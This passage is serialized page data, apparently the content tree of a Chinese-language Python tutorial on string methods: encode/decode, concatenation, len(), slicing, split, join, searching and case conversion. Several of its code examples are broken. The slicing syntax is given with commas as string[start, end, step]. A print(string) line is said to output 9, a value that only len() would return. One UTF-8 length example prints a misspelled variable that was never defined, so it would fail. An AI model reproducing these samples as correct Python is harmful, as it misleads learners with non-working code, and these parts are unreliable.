ame":92991},[],[92993],{"type":24,"value":30473},{"type":24,"value":92995},"，或者要将",{"type":18,"tag":74,"props":92997,"children":92999},{"className":92998},[],[93000],{"type":24,"value":30473},{"type":24,"value":93002},"保存到磁盘上，就需要把",{"type":18,"tag":74,"props":93004,"children":93006},{"className":93005},[],[93007],{"type":24,"value":30473},{"type":24,"value":93009},"转换为",{"type":18,"tag":74,"props":93011,"children":93013},{"className":93012},[],[93014],{"type":24,"value":92953},{"type":24,"value":93016},"(字节类型)",{"type":18,"tag":96,"props":93018,"children":93019},{},[93020],{"type":18,"tag":34,"props":93021,"children":93022},{},[93023,93028,93030,93035,93037,93042,93043,93048,93050,93056,93057,93063],{"type":18,"tag":74,"props":93024,"children":93026},{"className":93025},[],[93027],{"type":24,"value":92953},{"type":24,"value":93029},"类型的数据是带有",{"type":18,"tag":74,"props":93031,"children":93033},{"className":93032},[],[93034],{"type":24,"value":17356},{"type":24,"value":93036},"前缀的字符串（用单引号或双引号表示），",{"type":18,"tag":74,"props":93038,"children":93040},{"className":93039},[],[93041],{"type":24,"value":30473},{"type":24,"value":45664},{"type":18,"tag":74,"props":93044,"children":93046},{"className":93045},[],[93047],{"type":24,"value":92953},{"type":24,"value":93049},"之间可以通过",{"type":18,"tag":74,"props":93051,"children":93053},{"className":93052},[],[93054],{"type":24,"value":93055},"encode()",{"type":24,"value":10315},{"type":18,"tag":74,"props":93058,"children":93060},{"className":93059},[],[93061],{"type":24,"value":93062},"decode()",{"type":24,"value":93064},"方法进行转换",{"type":18,"tag":337,"props":93066,"children":93068},{"id":93067},"使用encode方法编码",[93069,93070,93075],{"type":24,"value":35582},{"type":18,"tag":74,"props":93071,"children":93073},{"className":93072},[],[93074],{"type":24,"value":93055},{"type":24,"value":93076},"方法编码",{"type":18,"tag":34,"props":93078,"children":93079},{},[93080,93085,93087,93092,93094,93104,93106,93111],{"type":18,"tag":74,"props":93081,"children":93083},{"className":93082},[],[93084],{"type":24,"value":30473},{"type":24,"value":93086},"对象有一个",{"type":18,"tag":74,"props":93088,"children":93090},{"className":93089},[],[93091],{"type":24,"value":93055},{"type":24,"value":93093},"方法可以",{"type":18,"tag":105,"props":93095,"children":93096},{},[93097,93099],{"type":24,"value":93098},"将字符串转换为二进制数据",{"type":18,"tag":74,"props":93100,"children":93102},{"className":93101},[],[93103],{"type":24,"value":92953},{"type":24,"value":93105},"，这个转换过程称为",{"type":18,"tag":105,"props":93107,"children":93108},{},[93109],{"type":24,"value":93110},"编码",{"type":24,"value":93112},"。其语法格式如下：",{"type":18,"tag":287,"props":93114,"children":93116},{"code":93115,"language":28712,"meta":8,"className":28710,"style":8},"str_name.encode(encoding=\"utf-8\"[,errors='strict'])\n",[93117],{"type":18,"tag":74,"props":93118,"children":93119},{"__ignoreMap":8},[93120],{"type":18,"tag":297,"props":93121,"children":93122},{"class":299,"line":300},[93123],{"type":18,"tag":297,"props":93124,"children":93125},{},[93126],{"type":24,"value":93115},{"type":18,"tag":210,"props":93128,"children":93129},{},[93130,93141,93167],{"type":18,"tag":158,"props":93131,"children":93132},{},[93133,93139],{"type":18,"tag":74,"props":93134,"children":93136},{"className":93135},[],[93137],{"type":24,"value":93138},"str_name",{"type":24,"value":93140},"表示要进行转换的字符串对象。",{"type":18,"tag":158,"props":93142,"children":93143},{},[93144,93150,93152,93158,93160,93166],{"type":18,"tag":74,"props":93145,"children":93147},{"className":93146},[],[93148],{"type":24,"value":93149},"encoding=\"utf-8\"",{"type":24,"value":93151},"为可选参数，用于指定在编码时需要采用的编码，默认为",{"type":18,"tag":74,"props":93153,"children":93155},{"className":93154},[],[93156],{"type":24,"value":93157},"UTF-8",{"type":24,"value":93159},"，若要使用中文，可以将该参数设置为",{"type":18,"tag":74,"props":93161,"children":93163},{"className":93162},[],[93164],{"type":24,"value":93165},"GB2312",{"type":24,"value":8574},{"type":18,"tag":158,"props":93168,"children":93169},{},[93170,93176,93178,93184],{"type":18,"tag":74,"props":93171,"children":93173},{"className":93172},[],[93174],{"type":24,"value":93175},"errors='strict'",{"type":24,"value":93177},"为可选参数，用于指定错误的处理方式，默认为",{"type":18,"tag":74,"props":93179,"children":93181},{"className":93180},[],[93182],{"type":24,"value":93183},"strict",{"type":24,"value":111},{"type":18,"tag":34,"props":93186,"children":93187},{},[93188,93194],{"type":18,"tag":74,"props":93189,"children":93191},{"className":93190},[],[93192],{"type":24,"value":93193},"errors",{"type":24,"value":93195},"的可选值有：",{"type":18,"tag":210,"props":93197,"children":93198},{},[93199,93208,93218,93228],{"type":18,"tag":158,"props":93200,"children":93201},{},[93202,93206],{"type":18,"tag":105,"props":93203,"children":93204},{},[93205],{"type":24,"value":93183},{"type":24,"value":93207},"：遇到非法字符就抛出异常",{"type":18,"tag":158,"props":93209,"children":93210},{},[93211,93216],{"type":18,"tag":105,"props":93212,"children":93213},{},[93214],{"type":24,"value":93215},"ignore",{"type":24,"value":93217},"：忽略非法字符",{"type":18,"tag":158,"props":93219,"children":93220},{},[93221,93226],{"type":18,"tag":105,"props":93222,"children":93223},{},[93224],{"type":24,"value":93225},"replace",{"type":24,"value":93227},"：用“?“替换非法字符",{"type":18,"tag":158,"props":93229,"children":93230},{},[93231,93236],{"type":18,"tag":105,"props":93232,"children":93233},{},[93234],{"type":24,"value":93235},"xmlcharrefreplace",{"type":24,"value":93237},"：使用XML的字符引用",{"type":18,"tag":96,"props":93239,"children":93240},{},[93241],{"type":18,"tag":34,"props":93242,"children":93243},{},[93244,93249],{"type":18,"tag":74,"props":93245,"children":93247},{"className":93246},[],[93248],{"type":24,"value":93055},{"type":24,"value":93250},"方法不会修改原字符串",{"type":18,"tag":337,"props":93252,"children":93254},{"id":93253},"使用decode方法解码",[93255,93256,93261],{"type":24,"value":35582},{"type":18,"tag":74,"props":93257,"children":93259},{"className":93258},[],[93260],{"type":24,"value":93062},{"type":24,"value":93262},"方法解码",{"type":18,"tag":34,"props":93264,"children":93265},{},[93266,93271,93272,93277,93278,93283,93285,93290,93292,93297,93298,93304,93306,93311,93313,93318,93319,93324,93326,93331],{"type":18,"tag":74,"props":93267,"children":93269},{"className":93268},[],[93270],{"type":24,"value":92953},{"type":24,"value":93086},{"type":18,"tag":74,"props":93273,"children":93275},{"className":93274},[],[93276],{"type":24,"value":93062},{"type":24,"value":93093},{"type":18,"tag":105,"props":93279,"children":93280},{},[93281],{"type":24,"value":93282},"将二进制型数据转换为字符串",{"type":24,"value":93284},"，将使用",{"type":18,"tag":74,"props":93286,"children":93288},{"className":93287},[],[93289],{"type":24,"value":93055},{"type":24,"value":93291},"方法转换的结果再转换为字符串，称为",{"type":18,"tag":105,"props":93293,"children":93294},{},[93295],{"type":24,"value":93296},"解码",{"type":24,"value":111},{"type":18,"tag":74,"props":93299,"children":93301},{"className":93300},[],[93302],{"type":24,"value":93303},"bytes_name",{"type":24,"value":93305},"为要转换的二进制对象，通常都是",{"type":18,"tag":74,"props":93307,"children":93309},{"className":93308},[],[93310],{"type":24,"value":93055},{"type":24,"value":93312},"转换的结果；",{"type":18,"tag":74,"props":93314,"children":93316},{"className":93315},[],[93317],{"type":24,"value":37365},{"type":24,"value":10315},{"type":18,"tag":74,"props":93320,"children":93322},{"className":93321},[],[93323],{"type":24,"value":93193},{"type":24,"value":93325},"的作用及使用与",{"type":18,"tag":74,"props":93327,"children":93329},{"className":93328},[],[93330],{"type":24,"value":93055},{"type":24,"value":93332},"方法相同。其语法格式如下：",{"type":18,"tag":287,"props":93334,"children":93336},{"code":93335,"language":28712,"meta":8,"className":28710,"style":8},"types_name.decode(encoding=\"utf-8\"[,errors='strict'])\n",[93337],{"type":18,"tag":74,"props":93338,"children":93339},{"__ignoreMap":8},[93340],{"type":18,"tag":297,"props":93341,"children":93342},{"class":299,"line":300},[93343],{"type":18,"tag":297,"props":93344,"children":93345},{},[93346],{"type":24,"value":93335},{"type":18,"tag":27,"props":93348,"children":93350},{"id":93349},"字符串常用操作",[93351],{"type":24,"value":93349},{"type":18,"tag":337,"props":93353,"children":93355},{"id":93354},"拼接字符串",[93356],{"type":24,"value":93354},{"type":18,"tag":34,"props":93358,"children":93359},{},[93360,93362,93367,93369,93375],{"type":24,"value":93361},"字符串通常可以使用",{"type":18,"tag":74,"props":93363,"children":93365},{"className":93364},[],[93366],{"type":24,"value":17126},{"type":24,"value":93368},"将两个字符串进行拼接，但是若要拼接非字符串类型的数据，则需要使用",{"type":18,"tag":74,"props":93370,"children":93372},{"className":93371},[],[93373],{"type":24,"value":93374},"str()",{"type":24,"value":93376},"方法将该数据强制转换为字符串后再进行拼接，拼接后会产生一个新的字符串对象。如下示例：",{"type":18,"tag":287,"props":93378,"children":93380},{"code":93379,"language":28712,"meta":8,"className":28710,"style":8},"english = \"Hello, World!\"\nchinese = \"你好，世界！\"\nprint(english + \"--\" + chinese)\n",[93381],{"type":18,"tag":74,"props":93382,"children":93383},{"__ignoreMap":8},[93384,93392,93400],{"type":18,"tag":297,"props":93385,"children":93386},{"class":299,"line":300},[93387],{"type":18,"tag":297,"props":93388,"children":93389},{},[93390],{"type":24,"value":93391},"english = \"Hello, World!\"\n",{"type":18,"tag":297,"props":93393,"children":93394},{"class":299,"line":657},[93395],{"type":18,"tag":297,"props":93396,"children":93397},{},[93398],{"type":24,"value":93399},"chinese = \"你好，世界！\"\n",{"type":18,"tag":297,"props":93401,"children":93402},{"class":299,"line":662},[93403],{"type":18,"tag":297,"props":93404,"children":93405},{},[93406],{"type":24,"value":93407},"print(english + \"--\" + chinese)\n",{"type":18,"tag":337,"props":93409,"children":93411},{"id":93410},"计算字符串的长度",[93412],{"type":24,"value":93410},{"type":18,"tag":34,"props":93414,"children":93415},{},[93416,93418,93423,93424,93429,93431,93436,93437,93443],{"type":24,"value":93417},"在Python中，汉字在",{"type":18,"tag":74,"props":93419,"children":93421},{"className":93420},[],[93422],{"type":24,"value":88139},{"type":24,"value":10315},{"type":18,"tag":74,"props":93425,"children":93427},{"className":93426},[],[93428],{"type":24,"value":93165},{"type":24,"value":93430},"编码中占两个字节，而在",{"type":18,"tag":74,"props":93432,"children":93434},{"className":93433},[],[93435],{"type":24,"value":93157},{"type":24,"value":10315},{"type":18,"tag":74,"props":93438,"children":93440},{"className":93439},[],[93441],{"type":24,"value":93442},"Unicode",{"type":24,"value":93444},"中一般占3个（或4个）字节。其语法格式如下：",{"type":18,"tag":287,"props":93446,"children":93448},{"code":93447,"language":28712,"meta":8,"className":28710,"style":8},"len(string)  # string 为被计算长度的字符串对象\n",[93449],{"type":18,"tag":74,"props":93450,"children":93451},{"__ignoreMap":8},[93452],{"type":18,"tag":297,"props":93453,"children":93454},{"class":299,"line":300},[93455],{"type":18,"tag":297,"props":93456,"children":93457},{},[93458],{"type":24,"value":93447},{"type":18,"tag":34,"props":93460,"children":93461},{},[93462,93464,93470,93472,93477],{"type":24,"value":93463},"倘若我定义一个字符串为",{"type":18,"tag":74,"props":93465,"children":93467},{"className":93466},[],[93468],{"type":24,"value":93469},"string = 'Hello 世界！'",{"type":24,"value":93471},"，统计",{"type":18,"tag":74,"props":93473,"children":93475},{"className":93474},[],[93476],{"type":24,"value":16841},{"type":24,"value":93478},"的长度，代码如下：",{"type":18,"tag":287,"props":93480,"children":93482},{"code":93481,"language":28712,"meta":8,"className":28710,"style":8},"string = \"Hello 世界！\"\nprint(string)      # 输出结果为9\n",[93483],{"type":18,"tag":74,"props":93484,"children":93485},{"__ignoreMap":8},[93486,93494],{"type":18,"tag":297,"props":93487,"children":93488},{"class":299,"line":300},[93489],{"type":18,"tag":297,"props":93490,"children":93491},{},[93492],{"type":24,"value":93493},"string = \"Hello 世界！\"\n",{"type":18,"tag":297,"props":93495,"children":93496},{"class":299,"line":657},[93497],{"type":18,"tag":297,"props":93498,"children":93499},{},[93500],{"type":24,"value":93501},"print(string)      # 输出结果为9\n",{"type":18,"tag":96,"props":93503,"children":93504},{},[93505],{"type":18,"tag":34,"props":93506,"children":93507},{},[93508,93510,93516],{"type":24,"value":93509},"默认情况下，当使用",{"type":18,"tag":74,"props":93511,"children":93513},{"className":93512},[],[93514],{"type":24,"value":93515},"len()",{"type":24,"value":93517},"函数计算字符串长度时，不区分英文、数字和汉字，所有字符都被认为是一个字符。",{"type":18,"tag":34,"props":93519,"children":93520},{},[93521,93523,93529,93530,93536],{"type":24,"value":93522},"在开发中，如果需要获取采用",{"type":18,"tag":74,"props":93524,"children":93526},{"className":93525},[],[93527],{"type":24,"value":93528},"utf-8",{"type":24,"value":52088},{"type":18,"tag":74,"props":93531,"children":93533},{"className":93532},[],[93534],{"type":24,"value":93535},"gbk",{"type":24,"value":93537},"编码的字符串长度，则可以使用下面代码：",{"type":18,"tag":287,"props":93539,"children":93541},{"code":93540,"language":28712,"meta":8,"className":28710,"style":8},"string = \"Hello 世界！\"\n\n# 计算UTF-8编码的字符串长度\nlenght_utf8 = len(string.encode()) \nprint(\"UTF-8编码的字符串长度：\" + str(lenght_uft8))  # 15\n\n# 计算gbk编码的字符串长度\nlenght_gbk = len(string.encode(\"gbk\")) \nprint(\"gbk编码的字符串长度：\" + str(lenght_gbk))  # 12\n",[93542],{"type":18,"tag":74,"props":93543,"children":93544},{"__ignoreMap":8},[93545,93552,93559,93567,93575,93583,93590,93598,93606],{"type":18,"tag":297,"props":93546,"children":93547},{"class":299,"line":300},[93548],{"type":18,"tag":297,"props":93549,"children":93550},{},[93551],{"type":24,"value":93493},{"type":18,"tag":297,"props":93553,"children":93554},{"class":299,"line":657},[93555],{"type":18,"tag":297,"props":93556,"children":93557},{"emptyLinePlaceholder":793},[93558],{"type":24,"value":796},{"type":18,"tag":297,"props":93560,"children":93561},{"class":299,"line":662},[93562],{"type":18,"tag":297,"props":93563,"children":93564},{},[93565],{"type":24,"value":93566},"# 计算UTF-8编码的字符串长度\n",{"type":18,"tag":297,"props":93568,"children":93569},{"class":299,"line":799},[93570],{"type":18,"tag":297,"props":93571,"children":93572},{},[93573],{"type":24,"value":93574},"lenght_utf8 = len(string.encode()) \n",{"type":18,"tag":297,"props":93576,"children":93577},{"class":299,"line":808},[93578],{"type":18,"tag":297,"props":93579,"children":93580},{},[93581],{"type":24,"value":93582},"print(\"UTF-8编码的字符串长度：\" + str(lenght_uft8))  # 15\n",{"type":18,"tag":297,"props":93584,"children":93585},{"class":299,"line":817},[93586],{"type":18,"tag":297,"props":93587,"children":93588},{"emptyLinePlaceholder":793},[93589],{"type":24,"value":796},{"type":18,"tag":297,"props":93591,"children":93592},{"class":299,"line":826},[93593],{"type":18,"tag":297,"props":93594,"children":93595},{},[93596],{"type":24,"value":93597},"# 计算gbk编码的字符串长度\n",{"type":18,"tag":297,"props":93599,"children":93600},{"class":299,"line":4524},[93601],{"type":18,"tag":297,"props":93602,"children":93603},{},[93604],{"type":24,"value":93605},"lenght_gbk = len(string.encode(\"gbk\")) \n",{"type":18,"tag":297,"props":93607,"children":93608},{"class":299,"line":4533},[93609],{"type":18,"tag":297,"props":93610,"children":93611},{},[93612],{"type":24,"value":93613},"print(\"gbk编码的字符串长度：\" + str(lenght_gbk))  # 12\n",{"type":18,"tag":337,"props":93615,"children":93617},{"id":93616},"截取字符串",[93618],{"type":24,"value":93616},{"type":18,"tag":34,"props":93620,"children":93621},{},[93622],{"type":24,"value":93623},"字符串也是序列，因此也支持切片操作。其语法结构如下：",{"type":18,"tag":287,"props":93625,"children":93627},{"code":93626,"language":28712,"meta":8,"className":28710,"style":8},"string[start, end, step]\n",[93628],{"type":18,"tag":74,"props":93629,"children":93630},{"__ignoreMap":8},[93631],{"type":18,"tag":297,"props":93632,"children":93633},{"class":299,"line":300},[93634],{"type":18,"tag":297,"props":93635,"children":93636},{},[93637],{"type":24,"value":93626},{"type":18,"tag":210,"props":93639,"children":93640},{},[93641,93652,93662],{"type":18,"tag":158,"props":93642,"children":93643},{},[93644,93650],{"type":18,"tag":74,"props":93645,"children":93647},{"className":93646},[],[93648],{"type":24,"value":93649},"start",{"type":24,"value":93651},"：指定要截取的第一个字符的索引（包含此位置），若省略，默认为0",{"type":18,"tag":158,"props":93653,"children":93654},{},[93655,93660],{"type":18,"tag":74,"props":93656,"children":93658},{"className":93657},[],[93659],{"type":24,"value":37816},{"type":24,"value":93661},"：指定要截取的最后一个字符的索引(不包含此位置)，若省略，默认为序列的长度",{"type":18,"tag":158,"props":93663,"children":93664},{},[93665,93671,93673,93678],{"type":18,"tag":74,"props":93666,"children":93668},{"className":93667},[],[93669],{"type":24,"value":93670},"step",{"type":24,"value":93672},"：指定切片的",{"type":18,"tag":105,"props":93674,"children":93675},{},[93676],{"type":24,"value":93677},"步长",{"type":24,"value":93679},"，若省略，默认步长为1，当省略该步长时，最后一个冒号可以同时省略",{"type":18,"tag":337,"props":93681,"children":93682},{"id":86616},[93683],{"type":24,"value":86616},{"type":18,"tag":34,"props":93685,"children":93686},{},[93687,93689,93694],{"type":24,"value":93688},"字符串对象的",{"type":18,"tag":74,"props":93690,"children":93692},{"className":93691},[],[93693],{"type":24,"value":86627},{"type":24,"value":93695},"方法可以实现字符串的分割，把一个字符串按照指定的分割符切分为字符串列表。语法如下：",{"type":18,"tag":287,"props":93697,"children":93699},{"code":93698,"language":28712,"meta":8,"className":28710,"style":8},"'''字符串名.split(分隔符, 分割次数n) 指分割前n个'''\nstring.split(sep,maxsplit)\n",[93700],{"type":18,"tag":74,"props":93701,"children":93702},{"__ignoreMap":8},[93703,93711],{"type":18,"tag":297,"props":93704,"children":93705},{"class":299,"line":300},[93706],{"type":18,"tag":297,"props":93707,"children":93708},{},[93709],{"type":24,"value":93710},"'''字符串名.split(分隔符, 分割次数n) 指分割前n个'''\n",{"type":18,"tag":297,"props":93712,"children":93713},{"class":299,"line":657},[93714],{"type":18,"tag":297,"props":93715,"children":93716},{},[93717],{"type":24,"value":93718},"string.split(sep,maxsplit)\n",{"type":18,"tag":210,"props":93720,"children":93721},{},[93722,93739],{"type":18,"tag":158,"props":93723,"children":93724},{},[93725,93730,93732,93737],{"type":18,"tag":74,"props":93726,"children":93728},{"className":93727},[],[93729],{"type":24,"value":37805},{"type":24,"value":93731},"用于指定分隔符，可以包含多个字符，默认为",{"type":18,"tag":74,"props":93733,"children":93735},{"className":93734},[],[93736],{"type":24,"value":2496},{"type":24,"value":93738},"，即所有空字符（空格、换行、制表符）。",{"type":18,"tag":158,"props":93740,"children":93741},{},[93742,93747,93749,93755],{"type":18,"tag":74,"props":93743,"children":93745},{"className":93744},[],[93746],{"type":24,"value":86701},{"type":24,"value":93748},"用于指定分割的次数，若指定为-1或未指定，则表示无限制，否则返回结果列表元素的个数最多为",{"type":18,"tag":74,"props":93750,"children":93752},{"className":93751},[],[93753],{"type":24,"value":93754},"maxsplit + 1",{"type":24,"value":111},{"type":18,"tag":337,"props":93757,"children":93759},{"id":93758},"合并字符串",[93760],{"type":24,"value":93758},{"type":18,"tag":34,"props":93762,"children":93763},{},[93764,93766,93771],{"type":24,"value":93765},"合并字符串会将多个字符串采用固定的分隔符连接在一起，合并字符串可以使用字符串对象的",{"type":18,"tag":74,"props":93767,"children":93769},{"className":93768},[],[93770],{"type":24,"value":89331},{"type":24,"value":93772},"方法实现，其语法格式如下：",{"type":18,"tag":287,"props":93774,"children":93776},{"code":93775,"language":28712,"meta":8,"className":28710,"style":8},"new_str = string.join(iterable)\n",[93777],{"type":18,"tag":74,"props":93778,"children":93779},{"__ignoreMap":8},[93780],{"type":18,"tag":297,"props":93781,"children":93782},{"class":299,"line":300},[93783],{"type":18,"tag":297,"props":93784,"children":93785},{},[93786],{"type":24,"value":93775},{"type":18,"tag":210,"props":93788,"children":93789},{},[93790,93801,93811],{"type":18,"tag":158,"props":93791,"children":93792},{},[93793,93799],{"type":18,"tag":74,"props":93794,"children":93796},{"className":93795},[],[93797],{"type":24,"value":93798},"new_str",{"type":24,"value":93800},"：表示合并后生成的新字符串",{"type":18,"tag":158,"props":93802,"children":93803},{},[93804,93809],{"type":18,"tag":74,"props":93805,"children":93807},{"className":93806},[],[93808],{"type":24,"value":16841},{"type":24,"value":93810},"：字符串类型，用于指定合并时的分隔符",{"type":18,"tag":158,"props":93812,"children":93813},{},[93814,93820],{"type":18,"tag":74,"props":93815,"children":93817},{"className":93816},[],[93818],{"type":24,"value":93819},"iterable",{"type":24,"value":93821},"：可迭代对象，该对象的所有元素都将被合并成一个新的字符串",{"type":18,"tag":34,"props":93823,"children":93824},{},[93825],{"type":24,"value":93826},"如下示例代码：",{"type":18,"tag":287,"props":93828,"children":93830},{"code":93829,"language":28712,"meta":8,"className":28710,"style":8},"list = [\"小王\",\"小刘\",\"小张\"]\nnew_str = \"牵着\".join(list)\nprint(new_str)  # 输出结果为：小王牵着小刘牵着小张\n",[93831],{"type":18,"tag":74,"props":93832,"children":93833},{"__ignoreMap":8},[93834,93842,93850],{"type":18,"tag":297,"props":93835,"children":93836},{"class":299,"line":300},[93837],{"type":18,"tag":297,"props":93838,"children":93839},{},[93840],{"type":24,"value":93841},"list = [\"小王\",\"小刘\",\"小张\"]\n",{"type":18,"tag":297,"props":93843,"children":93844},{"class":299,"line":657},[93845],{"type":18,"tag":297,"props":93846,"children":93847},{},[93848],{"type":24,"value":93849},"new_str = \"牵着\".join(list)\n",{"type":18,"tag":297,"props":93851,"children":93852},{"class":299,"line":662},[93853],{"type":18,"tag":297,"props":93854,"children":93855},{},[93856],{"type":24,"value":93857},"print(new_str)  # 输出结果为：小王牵着小刘牵着小张\n",{"type":18,"tag":337,"props":93859,"children":93861},{"id":93860},"检索字符串",[93862],{"type":24,"value":93860},{"type":18,"tag":34,"props":93864,"children":93865},{},[93866,93871],{"type":18,"tag":74,"props":93867,"children":93869},{"className":93868},[],[93870],{"type":24,"value":51323},{"type":24,"value":93872},"方法用于检索指定字符串在另一个字符串中出现的次数，若不存在则返回0，其语法格式如下：",{"type":18,"tag":287,"props":93874,"children":93876},{"code":93875,"language":28712,"meta":8,"className":28710,"style":8},"string.count(sub[,start[,end]])\n",[93877],{"type":18,"tag":74,"props":93878,"children":93879},{"__ignoreMap":8},[93880],{"type":18,"tag":297,"props":93881,"children":93882},{"class":299,"line":300},[93883],{"type":18,"tag":297,"props":93884,"children":93885},{},[93886],{"type":24,"value":93875},{"type":18,"tag":210,"props":93888,"children":93889},{},[93890,93900,93911,93921],{"type":18,"tag":158,"props":93891,"children":93892},{},[93893,93898],{"type":18,"tag":74,"props":93894,"children":93896},{"className":93895},[],[93897],{"type":24,"value":16841},{"type":24,"value":93899},"：原字符串",{"type":18,"tag":158,"props":93901,"children":93902},{},[93903,93909],{"type":18,"tag":74,"props":93904,"children":93906},{"className":93905},[],[93907],{"type":24,"value":93908},"sub",{"type":24,"value":93910},"：需要检索的字符串",{"type":18,"tag":158,"props":93912,"children":93913},{},[93914,93919],{"type":18,"tag":74,"props":93915,"children":93917},{"className":93916},[],[93918],{"type":24,"value":93649},{"type":24,"value":93920},"：可选参数，表示检索范围的起始位置索引，默认从头开始检索",{"type":18,"tag":158,"props":93922,"children":93923},{},[93924,93929],{"type":18,"tag":74,"props":93925,"children":93927},{"className":93926},[],[93928],{"type":24,"value":37816},{"type":24,"value":93930},"：可选参数，表示检索的结束位置索引，默认检索到结束",{"type":18,"tag":34,"props":93932,"children":93933},{},[93934,93939,93941,93947,93949,93954],{"type":18,"tag":74,"props":93935,"children":93937},{"className":93936},[],[93938],{"type":24,"value":34293},{"type":24,"value":93940},"方法用于检索是否包含指定的子字符串，如果检索的子字符串不存在，则返回-1，否则返回首次出现该子字符串的位置索引；",{"type":18,"tag":74,"props":93942,"children":93944},{"className":93943},[],[93945],{"type":24,"value":93946},"rfind()",{"type":24,"value":93948},"方法与",{"type":18,"tag":74,"props":93950,"children":93952},{"className":93951},[],[93953],{"type":24,"value":34293},{"type":24,"value":93955},"类似，只是表示从右边开始检索。其语法格式如下：",{"type":18,"tag":287,"props":93957,"children":93959},{"code":93958,"language":28712,"meta":8,"className":28710,"style":8},"string.find(sub[,start[,end]])\nstring.rfind(sub[,start[,end]])\n",[93960],{"type":18,"tag":74,"props":93961,"children":93962},{"__ignoreMap":8},[93963,93971],{"type":18,"tag":297,"props":93964,"children":93965},{"class":299,"line":300},[93966],{"type":18,"tag":297,"props":93967,"children":93968},{},[93969],{"type":24,"value":93970},"string.find(sub[,start[,end]])\n",{"type":18,"tag":297,"props":93972,"children":93973},{"class":299,"line":657},[93974],{"type":18,"tag":297,"props":93975,"children":93976},{},[93977],{"type":24,"value":93978},"string.rfind(sub[,start[,end]])\n",{"type":18,"tag":34,"props":93980,"children":93981},{},[93982,93988,93989,93994,93996,94002,94004,94009,94011,94017,94018,94023],{"type":18,"tag":74,"props":93983,"children":93985},{"className":93984},[],[93986],{"type":24,"value":93987},"index()",{"type":24,"value":93948},{"type":18,"tag":74,"props":93990,"children":93992},{"className":93991},[],[93993],{"type":24,"value":34293},{"type":24,"value":93995},"方法类似，也用于检索是否包含指定的子字符串，只是当",{"type":18,"tag":74,"props":93997,"children":93999},{"className":93998},[],[94000],{"type":24,"value":94001},"index(sub)",{"type":24,"value":94003},"所检索的",{"type":18,"tag":74,"props":94005,"children":94007},{"className":94006},[],[94008],{"type":24,"value":93908},{"type":24,"value":94010},"不存在于被检索的字符串，则会抛出异常；",{"type":18,"tag":74,"props":94012,"children":94014},{"className":94013},[],[94015],{"type":24,"value":94016},"rindex()",{"type":24,"value":93948},{"type":18,"tag":74,"props":94019,"children":94021},{"className":94020},[],[94022],{"type":24,"value":93987},{"type":24,"value":93955},{"type":18,"tag":287,"props":94025,"children":94027},{"code":94026,"language":28712,"meta":8,"className":28710,"style":8},"string.index(sub[,start[,end]])\nstring.rindex(sub[,start[,end]])\n",[94028],{"type":18,"tag":74,"props":94029,"children":94030},{"__ignoreMap":8},[94031,94039],{"type":18,"tag":297,"props":94032,"children":94033},{"class":299,"line":300},[94034],{"type":18,"tag":297,"props":94035,"children":94036},{},[94037],{"type":24,"value":94038},"string.index(sub[,start[,end]])\n",{"type":18,"tag":297,"props":94040,"children":94041},{"class":299,"line":657},[94042],{"type":18,"tag":297,"props":94043,"children":94044},{},[94045],{"type":24,"value":94046},"string.rindex(sub[,start[,end]])\n",{"type":18,"tag":34,"props":94048,"children":94049},{},[94050,94056,94058,94063],{"type":18,"tag":74,"props":94051,"children":94053},{"className":94052},[],[94054],{"type":24,"value":94055},"startswith()",{"type":24,"value":94057},"方法用于检索字符串是否以指定的子字符串开头，返回",{"type":18,"tag":74,"props":94059,"children":94061},{"className":94060},[],[94062],{"type":24,"value":89443},{"type":24,"value":94064},"类型。其语法格式如下：",{"type":18,"tag":287,"props":94066,"children":94068},{"code":94067,"language":28712,"meta":8,"className":28710,"style":8},"string.startswith(sub[,start[,end]])\n",[94069],{"type":18,"tag":74,"props":94070,"children":94071},{"__ignoreMap":8},[94072],{"type":18,"tag":297,"props":94073,"children":94074},{"class":299,"line":300},[94075],{"type":18,"tag":297,"props":94076,"children":94077},{},[94078],{"type":24,"value":94067},{"type":18,"tag":34,"props":94080,"children":94081},{},[94082,94088,94090,94095],{"type":18,"tag":74,"props":94083,"children":94085},{"className":94084},[],[94086],{"type":24,"value":94087},"endswith()",{"type":24,"value":94089},"方法用于检索字符串是否以指定的子字符串结尾，返回",{"type":18,"tag":74,"props":94091,"children":94093},{"className":94092},[],[94094],{"type":24,"value":89443},{"type":24,"value":94064},{"type":18,"tag":287,"props":94097,"children":94099},{"code":94098,"language":28712,"meta":8,"className":28710,"style":8},"string.endswith(sub[,start[,end]])\n",[94100],{"type":18,"tag":74,"props":94101,"children":94102},{"__ignoreMap":8},[94103],{"type":18,"tag":297,"props":94104,"children":94105},{"class":299,"line":300},[94106],{"type":18,"tag":297,"props":94107,"children":94108},{},[94109],{"type":24,"value":94098},{"type":18,"tag":337,"props":94111,"children":94113},{"id":94112},"字母的大小写转换",[94114],{"type":24,"value":94112},{"type":18,"tag":34,"props":94116,"children":94117},{},[94118,94124],{"type":18,"tag":74,"props":94119,"children":94121},{"className":94120},[],[94122],{"type":24,"value":94123},"lower()",{"type":24,"value":94125},"方法用于将字符串中的全部大写字母转换为小写字母。若发生转换则将生成新的字符串，否则返回原字符串。其语法格式如下：",{"type":18,"tag":287,"props":94127,"children":94129},{"code":94128,"language":28712,"meta":8,"className":28710,"style":8},"new_str = string.lower()\n",[94130],{"type":18,"tag":74,"props":94131,"children":94132},{"__ignoreMap":8},[94133],{"type":18,"tag":297,"props":94134,"children":94135},{"class":299,"line":300},[94136],{"type":18,"tag":297,"props":94137,"children":94138},{},[94139],{"type":24,"value":94128},{"type":18,"tag":34,"props":94141,"children":94142},{},[94143,94149],{"type":18,"tag":74,"props":94144,"children":94146},{"className":94145},[],[94147],{"type":24,"value":94148},"upper()",{"type":24,"value":94150},"方法用于将字符串中的全部小写字母转换为大写字母。若发生转换则将生成新的字符串，否则返回原字符串。其语法格式如下：",{"type":18,"tag":287,"props":94152,"children":94154},{"code":94153,"language":28712,"meta":8,"className":28710,"style":8},"new_str = 